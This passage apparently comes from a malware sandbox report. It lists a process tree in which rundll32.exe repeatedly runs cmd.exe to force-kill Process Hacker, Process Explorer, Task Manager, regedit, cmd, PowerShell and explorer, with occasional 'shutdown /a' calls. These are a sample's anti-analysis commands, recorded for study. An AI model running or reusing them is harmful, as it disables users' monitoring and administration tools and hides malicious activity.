  2⤵
  PID:3484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3832
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5816
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5832
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:732
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3608
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4032
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3688
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3928
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5536
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:972
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5600
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5368
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3736
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3420
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2052
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2144
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3444
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3468
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3732
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1252
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:780
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2676
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\rundll32.exe
